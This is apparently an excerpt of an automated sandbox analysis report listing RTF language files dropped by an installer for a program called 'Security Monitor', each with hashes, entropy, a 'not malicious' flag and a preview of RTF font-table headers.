SHA-256:	B4BBF6FF64527A29990C52C45852C3A9C25D23A44650A9C78233B2440B731B60
SHA-512:	BCC875F094806C5B461A1C62E8A51F9A03BC213B1B48D0ECA421057EF7371C3C7B57A0FAF5765A6F86975B7B9AF98A64141CCBF8CD7E301D6A1A182C3B9935B8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-2G1NE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45730
Entropy (8bit):	5.0380816279242895
Encrypted:	false
SSDEEP:	768:qqXQUx1e8Ca9DGi3w2EHnT2njX8x3FA5xr7YZhZOZiZFs7tAZkjCfbH1Yvv71KDH:qqAGeCIA9+
MD5:	BDBE095C7A0E96988B0CF67900DC1BEA
SHA1:	D2FDD08E37CDD417C3CD03A0432CDD50405DA76D
SHA-256:	EA0ADE471AA7488DF2B2589410D86472EDDDEC744B1F61ADE5347E9E3A297DD9
SHA-512:	87C1513C522958F71339D363324B0B5A439E090478D5D235444E329CCB611ED88B8AA186BBFA91B3D4DC576022CD62AEBC2019149A80073BF6CE37670EC4ACAD
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pa

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-4N4S2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44577
Entropy (8bit):	5.047991849900316
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsH5GmTF187V63Fq+1h1r1FOZ/6A9b:2amAhHzF187g3Fq+1h1r1FOIA9b
MD5:	91A847C22456099C70F172382B194CBD
SHA1:	E3C2687C4166260A3C70B667341DB4773461D45D
SHA-256:	84D171982B9A0B79099979907F3347B0E21DEC8162F8DB41C22097D89EA4D7AD
SHA-512:	C194CF609F25F2813696E8FA33178917E63FFB6B9BFC2F78A5E7384D97434CC8545C585B3D94829D4F4ABD5BF2A9FB28383EB22ABF8F3166AD3AB875BDE35E28
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-70E45.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	96477
Entropy (8bit):	4.924667312566969
Encrypted:	false
SSDEEP:	768:q4FkIxd/+zl3C79ka9aT2njX8x3fj5g5V5V5h5G5P5N585gVVhGPN9turfTYlD+N:q4pfLS7tFvIA9AA
MD5:	474EFD092A23625D32003FF87FF3453A
SHA1:	1BD49C74CD6DC150858759546E8C8B7A49F12288
SHA-256:	8AEAD04008796E39C04E7E0F99B5824387C416B5C2A0EFF01A9FE5881959F382
SHA-512:	3BED2B0372293ECDF4798D223917556E358EF8AB686D53519EAF6310329FF4B89FB26FA08F42A77D2B16C2065218B9EE746D9D126683CEA19ADAF83172895127
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-8B9O1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44198
Entropy (8bit):	5.048748452821434
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsQ5x8tTF4BaVy3F1+1h1r1KDZ/6A95:2amAhQsF4BaA3F1+1h1r1KDIA95
MD5:	B09494F1B4F83DBB2489B542B911DFB3
SHA1:	02BA1EB53181B33E02138D564B00DF6FF7084091
SHA-256:	901AFF931E90289B75F9385BE37787DF1A88D67419623904BD8C9C7AD9CBE21A
SHA-512:	79BDB81018FD674776B10007A0FEAFD3B4A16718ED531EFAFDE80F54A924281A4199A7F1A3005C8FF9BE4E6DE2240C4C480667C0A99E134BBA0BF0A414BFD257
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-98KDV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56800
Entropy (8bit):	4.971134438284621
Encrypted:	false
SSDEEP:	768:qqe+2VXLHT2njX8x3TLjwUtqYepAkVZEdvI9DhLVtKAn1+kxATfpyuqFnZ8MSqi7:qqqkhLVvIA9S
MD5:	3B8361BD47C4A33C6753ABF66E840953
SHA1:	F47CF562955DAD89D07730162B53A778A9F72AD4
SHA-256:	81FA4579AC6CA95049C34F47439231BE533173F12A63187779B6F3762F648679
SHA-512:	CA1EBC99A888904B1BF43144C75F58FA4A3F2143FB00341E0EEA61B05CDD60E02F7527E4822144A082321CF2C93EEB8F395EA22295B0D3D9EBCBE9D32CE90456
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-D2U4H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48084
Entropy (8bit):	5.035611454104282
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnq/x7yjxNQwr8AUmQryuj8QDc3n3g3x:qqJ9aqbIA9b
MD5:	EF57D23344C66880C6A38F743FD3FF0E
SHA1:	FC336BCC92580A0D367CB5B3604EE0040CC08492
SHA-256:	E36C9442648C0564C6AD9AC6074EC2B5023BBEBF291708977714AD977DDC1633
SHA-512:	C336736ADD43033E4BEA538EDAD809127C1ECF80DA20FCD3E02065E310919529E44C5CF57D0FD24EA295FAE367BFE7F7C52465E18863D0B2AF37188EA069502F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-DR3T8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	73792
Entropy (8bit):	4.964676170455869
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELHT2njX8x3TLjwUtqYepAkVZEdvI9vtjP1KAn1+kxazy9qGZBwnzKul:qqJCFtjPmYeIA9/
MD5:	248443A08A6A0A95E8F172FC20682550
SHA1:	79F8FB1257C4686C4EE643E2FCCE5306D2C7F5BC
SHA-256:	507932E99002CF707D5CBD4355955DB83A13C47C13DF7301E51FCE0BD4A1C75D
SHA-512:	D6AF2CB284B942F818D9FD3949ACBD05A40D72E701B62432F64A7633E8550EDF2CC4F0C2973C784BC0AE6523E25F13729C933DB702C578050BE8BE4B9EC20E1D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-E85N2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66194
Entropy (8bit):	4.972115474061052
Encrypted:	false
SSDEEP:	768:q4Fkex1eiCUYvmpNM2UrPGsGx7TYlDidldgOQrrFlEoIeRWeWyWVWAWJHZIWRWe0:q4vsLIA9i
MD5:	6181F9D5B81EC15F49F57FCFABF69562
SHA1:	451D5FBDF90E8CD153DC5990092613901D084CD1
SHA-256:	442E6A351381A56F912F0A68036C868F60D45117C92C9C2225948AC614DF7416
SHA-512:	5F5C61E9995C9081CFC0F97E857B5D67E45A1A6FD0796927AE694E25E41A50129E1952B19CF9A40A325A23137732465A718B1282C23688093160A0FF604BB124
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-ESSPP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	57638
Entropy (8bit):	4.981099786389407
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVRMek4aEqkGBKugOLT7eQk8C/Pr+uPmB35LBUo22xt2VOz:q49OUnWkIA9U
MD5:	DAEEF8D403213DE69003FA2BA7664B93
SHA1:	4A5FE0EE5ACCA61948EDA61062B395F59E224E7F
SHA-256:	635C6F72A6029595AF7922DF53835CE80BF486671E0BE4164D4612F03E993FF4
SHA-512:	5DE410F9C6A4F4A27ED9F456DF9D0D79DF87A21125718CC9B6674B0A4ED686F0630B1BE86A30B787053C3380A24C844899C3CFAA9A4854E72DA803AD673AF92E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-FS18O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36597
Entropy (8bit):	5.030646060695953
Encrypted:	false
SSDEEP:	768:q4FkNx1ETicPI0QhhiLV9E8cvtsomvimZ/6A9Q:q4GVUnXIA9Q
MD5:	4C157CB3C17D248D1CE74DB9A506CBBC
SHA1:	E8786D856D7F9A33E841A2C4BDF4BA41E8153448
SHA-256:	78E2AD2864EE4FA19DF5149FA7C86F4937FECDC48B0AC7965B9332706A356F87
SHA-512:	BA3C0F19E6B41C82021B4B0A00D9177F44D9341C5F26226258AEAC93DD46622C55C50ED284F5B8CD6DEBAF52C35B55720732C0FF9D86961E55648E2182D358DC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-GUSFS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42930
Entropy (8bit):	5.0450094413030575
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqyxz/BSKIasAzoBYcXumDpIyZ/6A97:qqraqpIA97
MD5:	DBF71033F406A5C5C9AEA3EC2E669C28
SHA1:	829479F385D2FFC9EFF81C2E3F3543289D64C1B9
SHA-256:	452AA2D29FFC659EF8042B9933B8DD6A7A679E906371F3C5530E740ED0B8605F
SHA-512:	B926A8072DBAF438AC4F1B920D4C7B4A1E16BCD371F904DB429927968D2DA1D4C3ED1517DD7E8D35604911623F86EB4F46A3ADDA56B27BAEB9DB6063CA51BF68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-H96RC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44558
Entropy (8bit):	5.049062407758663
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsc5NcTF4BaVy3F1+1h1r1KDZ/6A9L:2amAhcWF4BaA3F1+1h1r1KDIA9L
MD5:	16036186160BEB81F13561AE51DCFBED
SHA1:	BB644BD11DABCC9F453A71745D7CF12A1621FEBA
SHA-256:	AE0674BF9ECDCD8A1550E0ECA0529EED66E9786B6029AE6EB5414769205FDAA2
SHA-512:	CEDAD90055D3DE40A431B0FF9FA89D9E2A25E831EC484854F01E04CC953EBBD50D76B23107C5D1446145A4596A721EEBB34B6EFF827C623D894924BEB64B8DA2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-IA9OG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43992
Entropy (8bit):	5.0490517908671535
Encrypted:	false
SSDEEP:	768:2aFknOj9rcGSOzlD0gl+0j3akipVsb5IjTF4BaVy3F1+1h1r1KDZ/6A9z:2amAhbwF4BaA3F1+1h1r1KDIA9z
MD5:	093443BD0007A7BB28B50778BFB43E66
SHA1:	7FC5599F85CEBDA23A323994A57590E14628C84C
SHA-256:	2823645253E4999BA6ED5175DDA4B288C2D01916811294E0E538726BB43952CD
SHA-512:	9A1BB1C996C3B0561B2F1C20D8FB12E3B98322961572803AFFDA7659E024840BA5FD04C53329A443F1C8DB1B16B89CD2E64CCE409AFDBED6139B21F08A65B3C4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\is-J4NCC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49574
Entropy (8bit):	5.031691924230754
Encrypted:	false
SSDEEP:	768:4qFys4jeDCcJ+r15g5V5V5h5G5P5N5hBcqtqYepn3/xXdQQMQs2YMKBX49nNbaEq:4qYo3CtU7c7KIA9m
MD5:	AEE08B8B9A32D64F630D57580A2D4457
SHA1:	0BD2511BF3C71E549858E1990A07CA29A11A9C8D
SHA-256:	468D9AA761B58B6CCA9C93C271D3B9A3EC96D367019CA53F0579E3A5E87720FE
